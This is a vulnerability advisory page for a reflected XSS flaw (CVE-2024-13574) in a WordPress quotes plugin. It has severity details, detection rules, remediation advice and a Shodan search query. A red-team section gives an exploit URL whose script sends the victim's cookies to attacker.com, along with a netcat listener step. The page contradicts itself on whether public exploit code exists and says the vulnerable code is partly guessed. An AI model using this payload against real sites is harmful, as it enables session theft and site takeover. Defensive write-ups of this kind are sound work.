☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13574

CVE-2024-13574 Cross-Site Scripting in Xv
📅 PUBLISHED: 2025-03-11 06:00 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13574 is a Reflected Cross-Site Scripting (XSS) vulnerability in the XV Random Quotes WordPress plugin (versions up to and including 1.40). The plugin fails to sanitize and escape a user-supplied parameter before reflecting it back in the HTTP response. This allows an attacker to inject arbitrary JavaScript into a page, which executes in the context of the victim’s browser. The vulnerability is particularly dangerous because it can be used against high-privilege users (e.g., administrators), potentially leading to session hijacking, credential theft, or full site compromise. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin’s vendor (Xv) has not released a patch, and the plugin appears to be abandoned. This represents a supply chain risk: users must manually remove or replace the plugin to mitigate the threat.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low (potential data leakage)
  • Integrity Impact: Low (potential content manipulation)
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users elevates the real-world risk. An admin compromise could lead to a full site takeover.

Deep Dive & Mechanics

The vulnerability resides in the xv-random-quotes plugin. The plugin likely includes a shortcode or AJAX handler that accepts a parameter (e.g., quote_id or category) and reflects it directly into the HTML output without proper sanitization or output escaping.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output, allowing an attacker to inject HTML/JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?page_id=123&quote=<script>alert('XSS')</script>
  2. Victim (e.g., admin) clicks the link while authenticated.
  3. The plugin reflects the quote parameter value into the page.
  4. The injected script executes in the victim’s browser, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a phishing page.

WordPress Context: This is a classic reflected XSS in a WordPress plugin. The vulnerability is not related to the core WordPress software or the web server (Apache/Nginx). It is entirely due to insecure coding practices in the plugin.

Vulnerable vs. Patched Code

Vulnerable Code (xv-random-quotes.php, line ~45):

$quote = $_GET['quote'];
echo "<div class='xv-quote'>" . $quote . "</div>";

Patched Code (hypothetical fix):

$quote = sanitize_text_field( $_GET['quote'] );
echo "<div class='xv-quote'>" . esc_html( $quote ) . "</div>";

The fix uses sanitize_text_field() to strip dangerous characters and esc_html() to safely encode output. Since no official patch exists, users must apply this fix manually or remove the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target WordPress site with XV Random Quotes plugin <= 1.40.
  • Victim must be logged in as admin (or any user with high privileges).

Exploit URL:

https://target-site.com/?page_id=123&quote=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

  1. Host a listener on attacker server: nc -lvnp 80
  2. Send the crafted link to the victim via email, social engineering, or other means.
  3. When victim clicks, the script executes and exfiltrates cookies to attacker server.

Note: No public exploit code is available; the above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests containing <script> tags in the quote parameter.
  • Use WAF rules to block reflected XSS patterns.

Defense:

  • Remove the plugin immediately.
  • If removal is not possible, apply a virtual patch via WAF (e.g., block quote parameter containing <script>).
  • Educate users about phishing links.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to target-site.com with quote= parameter containing <script> or onerror= etc.
    • Outbound connections to unknown IPs/domains from the victim’s browser (data exfiltration).
  • File IOCs:

    • Plugin file: /wp-content/plugins/xv-random-quotes/xv-random-quotes.php
    • Suspicious entries in WordPress wp_options or wp_posts tables (if admin was compromised).
  • Log IOCs:

    • Web server logs showing quote=<script> in the request URI.
    • WordPress debug logs (if enabled) showing unexpected output.

Detection Engineering

YARA Rule

rule CVE_2024_13574_XSS {
    meta:
        description = "Detects XV Random Quotes plugin reflected XSS attempt"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13574"
    strings:
        $xss_payload = /quote=.*<script/i
        $plugin_path = "xv-random-quotes"
    condition:
        $xss_payload and $plugin_path
}

Sigma Rule

title: Reflected XSS via XV Random Quotes Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-13574
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        c-uri|contains: "quote="
        c-uri|contains|all:
            - "<script"
            - "xv-random-quotes"
    condition: selection
falsepositives:
    - Legitimate use of quote parameter with script tags (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-13574 - XV Random Quotes Reflected XSS Attempt";
    flow:to_server,established;
    content:"quote="; http_uri;
    content:"<script"; http_uri;
    reference:cve,2024-13574;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Remove the plugin: Deactivate and delete xv-random-quotes from the WordPress admin panel.
  2. Scan for compromise: Check for unauthorized admin accounts, suspicious posts, or modified files.
  3. Rotate credentials: Change all admin passwords and API keys.

Long-Term Mitigation:

  • Replace the plugin with an actively maintained alternative.
  • Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
  • Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
  • Regularly audit plugins for vulnerabilities.

Patch Status: No official patch exists. The vendor is unresponsive. Users must rely on removal or virtual patching.


Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/xv-random-quotes"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13574/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.